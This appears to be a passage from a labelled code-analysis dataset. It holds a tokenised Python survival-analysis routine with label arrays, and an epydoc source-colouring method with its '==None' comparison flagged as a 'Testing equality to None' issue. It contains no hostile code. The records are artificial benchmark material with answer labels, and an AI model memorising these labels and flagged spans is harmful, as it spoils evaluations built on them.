"\\u\\u\\uNL\\u\\u\\u_", "counts_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "##", "create", " ", "a", " ", "list", " ", "for", " ", "points", " ", "to", " ", "plot_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "iterate", " ", "through", " ", "the", " ", "list", " ", "of", " ", "times_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "j_", "in_", "range_", "(_", "len_", "(_", "time", "List_", "[_", "i_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "j_", "!=_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "j_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "an", " ", "indicat", "or", " ", "to", " ", "tell", " ", "if", " ", "the", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "#", "starts", " ", "a", " ", "new", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "group", "Ind_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "(", "0", ",", "1", ")", " ", "to", " ", "the", " ", "list", " ", "of", " ", "points_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "._", "append_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "._", "append_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "point", " ", "time", " ", "to", " ", "the", " ", "right", " ", "of", " ", "that_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "._", "append_", "(_", "time", "List_", "[_", "i_", "]_", "[_", "j_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "._", "append_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "point", " ", "belo", "w", " ", "tha", "t", " ", "at", " ", "surviv", "al_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "._", "append_", "(_", "time", "List_", "[_", "i_", "]_", "[_", "j_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "._", "append_", "(_", "surviv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "surviv", "al", " ", "to", " ", "y_", "\\u\\u\\uNL\\u\\u\\u_", "y_", "._", "append_", "(_", "surviv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "group", "Ind_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "surviv", "al", " ", "twi", "ce", " ", "to", " ", "y_", "\\u\\u\\uNL\\u\\u\\u_", "y_", "._", "append_", "(_", "surviv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "._", "append_", "(_", "surviv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "time", " ", "twi", "ce", " ", "to", " ", "x_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "._", "append_", "(_", "time", "List_", "[_", "i_", "]_", "[_", "j_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "._", "append_", "(_", "time", "List_", "[_", "i_", "]_", "[_", "j_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "each", " ", "cens", "ored", " ", "time", ",", " ", "number", " ", "of", " ", "cens", "orin", "gs", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", "its", " ", "surviv", "al", " ", "to", " ", "cens", "ored", "Points_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cens", "ored", "Points_", "._", "append_", "(_", "[_", "time", "List_", "[_", "i_", "]_", "[_", "j_", "-_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cens", "orin", "g", "Num_", ",_", "surviv", "al_", ",_", "group", "Ind_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "count", " ", "to", " ", "the", " ", "list_", "\\u\\u\\uNL\\u\\u\\u_", "counts_", "._", "append_", "(_", "[_", "time", "List_", "[_", "i_", "]_", "[_", "j_", "-_", "1_", "]_", ",_", "risk", "Counter_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "event", "Counter_", ",_", "surviv", "al_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sqrt_", "(_", "(_", "(_", "surviv", "al_", ")_", "**_", "2_", ")_", "*_", "var", "Sum_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "increment", " ", "the", " ", "number", " ", "at", " ", "risk", "_", "\\u\\u\\uNL\\u\\u\\u_", "risk", "Counter_", "+=_", "-_", "1_", "*_", "(_", "risk", "Change_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "initialize", " ", "a", " ", "counter", " ", "for", " ", "the", " ", "change", " ", "in", " ", "the", " ", "number", " ", "at", " ", "risk", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "risk", "Change_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "initialize", " ", "a", " ", "counter", " ", "to", " ", "zero_", "\\u\\u\\uNL\\u\\u\\u_", "event", "Counter_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "inti", "alize", " ", "a", " ", "counter", " ", "to", " ", "tell", " ", "whe", "n", " ", "cens", "orin", "g", " ", "occur", "s_", "\\u\\u\\uNL\\u\\u\\u_", "cens", "orin", "g", "Counter_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cens", "orin", "g", "Num_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "iterate", " ", "through", " ", "the", " ", "observa", "tion", "s", " ", "in", " ", "each", " ", "group_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "k_", "in_", "range_", "(_", "len_", "(_", "group", "List_", "[_", "i_", "]_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "check", " ", "of", " ", "the", " ", "observa", "tion", " ", "has", " ", "the", " ", "give", "n", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "(_", "group", "List_", "[_", "i_", "]_", "[_", "k_", "]_", "[_", "self_", "._", "times", "In_", "]_", ")_", "==_", "(_", "time", "List_", "[_", "i_", "]_", "[_", "j_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "increment", " ", "the", " ", "number", " ", "at", " ", "risk", " ", "counter_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "risk", "Change_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "check", " ", "if", " ", "this", " ", "is", " ", "an", " ", "event", " ", "or", " ", "cens", "orin", "g_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "group", "List_", "[_", "i_", "]_", "[_", "k_", "]_", "[_", "self_", "._", "cens", "orin", "g", "In_", "]_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "1", " ", "to", " ", "the", " ", "counter_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "event", "Counter_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "cens", "orin", "g", "Num_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "check", " ", "if", " ", "there", " ", "are", " ", "any", " ", "events", " ", "at", " ", "this", " ", "time_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "event", "Counter_", "!=_", "cens", "orin", "g", "Counter_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "cens", "orin", "g", "Counter_", "=_", "event", "Counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "calcul", "ate", " ", "the", " ", "estimate", " ", "of", " ", "the", " ", "surviv", "al", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "surviv", "al_", "*=_", "(_", "(_", "float_", "(_", "risk", "Counter_", ")_", "-_", "\\u\\u\\uNL\\u\\u\\u_", "event", "Counter_", ")_", "/_", "(_", "risk", "Counter_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "calcul", "ate", " ", "the", " ", "estimate", " ", "of", " ", "the", " ", "variance_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "var", "Sum_", "+=_", "(_", "event", "Counter_", ")_", "/_", "(_", "(_", "risk", "Counter_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "*_", "(_", "float_", "(_", "risk", "Counter_", ")_", "-_", "\\u\\u\\uNL\\u\\u\\u_", "event", "Counter_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Zero", "Divis", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "var", "Sum_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "append", " ", "the", " ", "last", " ", "row", " ", "to", " ", "counts_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "counts_", "._", "append_", "(_", "[_", "time", "List_", "[_", "i_", "]_", "[_", "len_", "(_", "time", "List_", "[_", "i_", "]_", ")_", "-_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "risk", "Counter_", ",_", "event", "Counter_", ",_", "surviv", "al_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sqrt_", "(_", "(_", "(_", "surviv", "al_", ")_", "**_", "2_", ")_", "*_", "var", "Sum_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "last", " ", "time", " ", "onc", "e", " ", "to", " ", "x_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "._", "append_", "(_", "time", "List_", "[_", "i_", "]_", "[_", "len_", "(_", "time", "List_", "[_", "i_", "]_", ")_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "._", "append_", "(_", "time", "List_", "[_", "i_", "]_", "[_", "len_", "(_", "time", "List_", "[_", "i_", "]_", ")_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "last", " ", "surviv", "al", " ", "twi", "ce", " ", "to", " ", "y_", "\\u\\u\\uNL\\u\\u\\u_", "y_", "._", "append_", "(_", "surviv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "y", ".", "append", "(", "surviv", "al", ")_", "\\u\\u\\uNL\\u\\u\\u_", "cens", "ored", "Points_", "._", "append_", "(_", "[_", "time", "List_", "[_", "i_", "]_", "[_", "len_", "(_", "time", "List_", "[_", "i_", "]_", ")_", "-_", "1_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cens", "orin", "g", "Num_", ",_", "surviv", "al_", ",_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "add", " ", "the", " ", "list", " ", "for", " ", "the", " ", "group", " ", "to", " ", "al", " ", "ist", " ", "for", " ", "all", " ", "the", " ", "groups_", "\\u\\u\\uNL\\u\\u\\u_", "time", "Counts_", "._", "append_", "(_", "np_", "._", "array_", "(_", "counts_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "points_", "._", "append_", "(_", "[_", "x_", ",_", "y_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "return", "s", " ", "a", " ", "list", " ", "of", " ", "arrays", ",", " ", "where", " ", "each", " ", "array", " ", "has", " ", "as", " ", "it", " ", "column", "s", ":", " ", "the", " ", "time", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", "the", " ", "number", " ", "at", " ", "risk", ",", " ", "the", " ", "number", " ", "of", " ", "events", ",", " ", "the", " ", "estimate", "d", " ", "value", " ", "of", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", "surviv", "al", " ", "function", " ", "at", " ", "tha", "t", " ", "time", ",", " ", "and", " ", "the", " ", "estimate", "d", " ", "standard", " ", "error", " ", "at_", "\\u\\u\\uNL\\u\\u\\u_", "#", "tha", "t", " ", "time", ",", " ", "in", " ", "tha", "t", " ", "order_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "results_", "=_", "time", "Counts_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "points_", "=_", "points_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "cens", "ored", "Points_", "=_", "cens", "ored", "Points_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
QuantSoftware/QuantSoftwareToolkit/Legacy/epydoc-3.0.1/epydoc/docwriter/html_colorize.py
[ { "content": " def handle_line(self, line):\n \"\"\"\n Render a single logical line from the module, and write the\n generated HTML to C{self.out}.\n\n @param line: A single logical line, encoded as a list of\n C{(toktype,tokttext)} pairs corresponding to the tokens in\n the line.\n \"\"\"\n # def_name is the name of the function or class defined by\n # this line; or None if no funciton or class is defined.\n def_name = None\n\n # def_type is the type of the function or class defined by\n # this line; or None if no funciton or class is defined.\n def_type = None\n\n # does this line start a class/func def?\n starting_def_block = False \n\n in_base_list = False\n in_param_list = False\n in_param_default = 0\n at_module_top = (self.lineno == 1)\n\n ended_def_blocks = 0\n\n # The html output.\n if self.ADD_LINE_NUMBERS:\n s = self.lineno_to_html()\n self.lineno += 1\n else:\n s = ''\n s += ' <tt class=\"py-line\">'\n\n # Loop through each token, and colorize it appropriately.\n for i, (toktype, toktext) in enumerate(line):\n if type(s) is not str:\n if type(s) is unicode:\n log.error('While colorizing %s -- got unexpected '\n 'unicode string' % self.module_name)\n s = s.encode('ascii', 'xmlcharrefreplace')\n else:\n raise ValueError('Unexpected value for s -- %s' % \n type(s).__name__)\n\n # For each token, determine its css class and whether it\n # should link to a url.\n css_class = None\n url = None\n tooltip = None\n onclick = uid = targets = None # these 3 are used together.\n\n # Is this token the class name in a class definition? If\n # so, then make it a link back into the API docs.\n if i>=2 and line[i-2][1] == 'class':\n in_base_list = True\n css_class = self.CSS_CLASSES['DEFNAME']\n def_name = toktext\n def_type = 'class'\n if 'func' not in self.context_types:\n cls_name = self.context_name(def_name)\n url = self.name2url(cls_name)\n s = self.mark_def(s, cls_name)\n starting_def_block = True\n\n # Is this token the function name in a function def? If\n # so, then make it a link back into the API docs.\n elif i>=2 and line[i-2][1] == 'def':\n in_param_list = True\n css_class = self.CSS_CLASSES['DEFNAME']\n def_name = toktext\n def_type = 'func'\n if 'func' not in self.context_types:\n cls_name = self.context_name()\n func_name = self.context_name(def_name)\n url = self.name2url(cls_name, def_name)\n s = self.mark_def(s, func_name)\n starting_def_block = True\n\n # For each indent, update the indents list (which we use\n # to keep track of indentation strings) and the context\n # list. If this indent is the start of a class or\n # function def block, then self.def_name will be its name;\n # otherwise, it will be None.\n elif toktype == token.INDENT:\n self.indents.append(toktext)\n self.context.append(self.def_name)\n self.context_types.append(self.def_type)\n\n # When we dedent, pop the last elements off the indents\n # list and the context list. If the last context element\n # is a name, then we're ending a class or function def\n # block; so write an end-div tag.\n elif toktype == token.DEDENT:\n self.indents.pop()\n self.context_types.pop()\n if self.context.pop():\n ended_def_blocks += 1\n\n # If this token contains whitespace, then don't bother to\n # give it a css tag.\n elif toktype in (None, tokenize.NL, token.NEWLINE,\n token.ENDMARKER):\n css_class = None\n\n # Check if the token is a keyword.\n elif toktype == token.NAME and keyword.iskeyword(toktext):\n css_class = self.CSS_CLASSES['KEYWORD']\n\n elif in_base_list and toktype == token.NAME:\n css_class = self.CSS_CLASSES['BASECLASS']\n\n elif (in_param_list and toktype == token.NAME and\n not in_param_default):\n css_class = self.CSS_CLASSES['PARAM']\n\n # Class/function docstring.\n elif (self.def_name and line[i-1][0] == token.INDENT and\n self.is_docstring(line, i)):\n css_class = self.CSS_CLASSES['DOCSTRING']\n\n # Module docstring.\n elif at_module_top and self.is_docstring(line, i):\n css_class = self.CSS_CLASSES['DOCSTRING']\n\n # check for decorators??\n elif (toktype == token.NAME and\n ((i>0 and line[i-1][1]=='@') or\n (i>1 and line[i-1][0]==None and line[i-2][1] == '@'))):\n css_class = self.CSS_CLASSES['DECORATOR']\n self.has_decorators = True\n\n # If it's a name, try to link it.\n elif toktype == token.NAME:\n css_class = self.CSS_CLASSES['NAME']\n # If we have a variable named `toktext` in the current\n # context, then link to that. Note that if we're inside\n # a function, then that function is our context, not\n # the namespace that contains it. [xx] this isn't always\n # the right thing to do.\n if (self.GUESS_LINK_TARGETS and self.docindex is not None\n and self.url_func is not None):\n context = [n for n in self.context if n is not None]\n container = self.docindex.get_vardoc(\n DottedName(self.module_name, *context))\n if isinstance(container, NamespaceDoc):\n doc = container.variables.get(toktext)\n if doc is not None:\n url = self.url_func(doc)\n tooltip = str(doc.canonical_name)\n # Otherwise, check the name_to_docs index to see what\n # else this name might refer to.\n if (url is None and self.name_to_docs is not None\n and self.url_func is not None):\n docs = self.name_to_docs.get(toktext)\n if docs:\n tooltip='\\n'.join([str(d.canonical_name)\n for d in docs])\n if len(docs) == 1 and self.GUESS_LINK_TARGETS:\n url = self.url_func(docs[0])\n else:\n uid, onclick, targets = self.doclink(toktext, docs)\n\n # For all other tokens, look up the CSS class to use\n # based on the token's type.\n else:\n if toktype == token.OP and toktext in self.CSS_CLASSES:\n css_class = self.CSS_CLASSES[toktext]\n elif token.tok_name[toktype] in self.CSS_CLASSES:\n css_class = self.CSS_CLASSES[token.tok_name[toktype]]\n else:\n css_class = None\n\n # update our status..\n if toktext == ':':\n in_base_list = False\n in_param_list = False\n if toktext == '=' and in_param_list:\n in_param_default = True\n if in_param_default:\n if toktext in ('(','[','{'): in_param_default += 1\n if toktext in (')',']','}'): in_param_default -= 1\n if toktext == ',' and in_param_default == 1:\n in_param_default = 0\n \n # Write this token, with appropriate colorization.\n if tooltip and self.ADD_TOOLTIPS:\n tooltip_html = ' title=\"%s\"' % tooltip\n else: tooltip_html = ''\n if css_class: css_class_html = ' class=\"%s\"' % css_class\n else: css_class_html = ''\n if onclick:\n if targets: targets_html = ' targets=\"%s\"' % targets\n else: targets_html = ''\n s += ('<tt id=\"%s\"%s%s><a%s%s href=\"#\" onclick=\"%s\">' %\n (uid, css_class_html, targets_html, tooltip_html,\n css_class_html, onclick))\n elif url:\n if isinstance(url, unicode):\n url = url.encode('ascii', 'xmlcharrefreplace')\n s += ('<a%s%s href=\"%s\">' %\n (tooltip_html, css_class_html, url))\n elif css_class_html or tooltip_html:\n s += '<tt%s%s>' % (tooltip_html, css_class_html)\n if i == len(line)-1:\n s += ' </tt>' # Closes <tt class=\"py-line\">\n s += cgi.escape(toktext)\n else:\n try:\n s += self.add_line_numbers(cgi.escape(toktext), css_class)\n except Exception, e:\n print (toktext, css_class, toktext.encode('ascii'))\n raise\n\n if onclick: s += \"</a></tt>\"\n elif url: s += '</a>'\n elif css_class_html or tooltip_html: s += '</tt>'\n\n if self.ADD_DEF_BLOCKS:\n for i in range(ended_def_blocks):\n self.out(self.END_DEF_BLOCK)\n\n # Strip any empty <tt>s.\n s = re.sub(r'<tt class=\"[\\w+]\"></tt>', '', s)\n\n # Write the line.\n self.out(s)\n\n if def_name and starting_def_block:\n self.out('</div>')\n\n # Add div's if we're starting a def block.\n if (self.ADD_DEF_BLOCKS and def_name and starting_def_block and\n (line[-2][1] == ':')):\n indentation = (''.join(self.indents)+' ').replace(' ', '+')\n linenum_padding = '+'*self.linenum_size\n name=self.context_name(def_name)\n self.out(self.START_DEF_BLOCK % (name, linenum_padding,\n indentation, name))\n \n self.def_name = def_name\n self.def_type = def_type", "metadata": "root.PythonSourceColorizer.handle_line", "header": "['class', 'PythonSourceColorizer', ':', '___EOS___']", "index": 532 } ]
[ { "span": "line[i-1][0]==None ", "start_line": 661, "start_column": 28, "end_line": 661, "end_column": 46 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Pyth", "on", "Sou", "rce", "Color", "izer_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "handle", "\\u", "line_", "(_", "self_", ",_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Render", " ", "a", " ", "single", " ", "logical", " ", "line", " ", "from", " ", "the", " ", "module", ",", " ", "and", " ", "write", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "generat", "ed", " ", "HTM", "L", " ", "to", " ", "C", "{", "self", ".", "out", "}.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "line", ":", " ", "A", " ", "single", " ", "logical", " ", "line", ",", " ", "encode", "d", " ", "as", " ", "a", " ", "list", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "C", "{(", "tok", "type", ",", "tok", "ttext", ")}", " ", "pair", "s", " ", "correspond", "ing", " ", "to", " ", "the", " ", "token", "s", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "line", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "def", "\\u", "name", " ", "is", " ", "the", " ", "name", " ", "of", " ", "the", " ", "function", " ", "or", " ", "class", " ", "defin", "ed", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "line", ";", " ", "or", " ", "Non", "e", " ", "if", " ", "no", " ", "func", "ito", "n", " ", "or", " ", "class", " ", "is", " ", "defin", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "def", "\\u", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "def", "\\u", "type", " ", "is", " ", "the", " ", "type", " ", "of", " ", "the", " ", "function", " ", "or", " ", "class", " ", "defin", "ed", " ", "by_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "line", ";", " ", "or", " ", "Non", "e", " ", "if", " ", "no", " ", "func", "ito", "n", " ", "or", " ", "class", " ", "is", " ", "defin", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "def", "\\u", "type_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "doe", "s", " ", "this", " ", "line", " ", "start", " ", "a", " ", "class", "/", "func", " ", "def", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "startin", "g", "\\u", "def", "\\u", "block_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "in", "\\u", "base", "\\u", "list_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "param", "\\u", "list_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "in", "\\u", "param", "\\u", "default_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "at", "\\u", "module", "\\u", "top_", "=_", "(_", "self_", "._", "lineno_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ende", "d\\u", "def", "\\u", "blocks_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "html", " ", "output", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "ADD", "\\u", "LINE", "\\u", "NUMB", "ERS_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "self_", "._", "linen", "o", "\\u", "to", "\\u", "html_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "lineno_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s_", "+=_", "'", " ", " ", "<", "tt", " ", "class", "=\"", "py", "-", "line", "\">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Loop", " ", "through", " ", "each", " ", "token", ",", " ", "and", " ", "coloriz", "e", " ", "it", " ", "appropr", "iate", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", ",_", "(_", "tok", "type_", ",_", "tok", "text_", ")_", "in_", "enumerate_", "(_", "line_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "s_", ")_", "is_", "not_", "str_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "s_", ")_", "is_", "unicode_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "log_", "._", "error_", "(_", "'", "Whi", "le", " ", "coloriz", "ing", " ", "%", "s", " ", "--", " ", "got", " ", "unexpected", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "unicode", " ", "string", "'_", "%_", "self_", "._", "module", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "s_", "._", "encode_", "(_", "'", "ascii", "'_", ",_", "'", "xml", "char", "refre", "place", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Value", "Error_", "(_", "'", "Une", "xpe", "cte", "d", " ", "value", " ", "for", " ", "s", " ", "--", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "type_", "(_", "s_", ")_", "._", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "token", 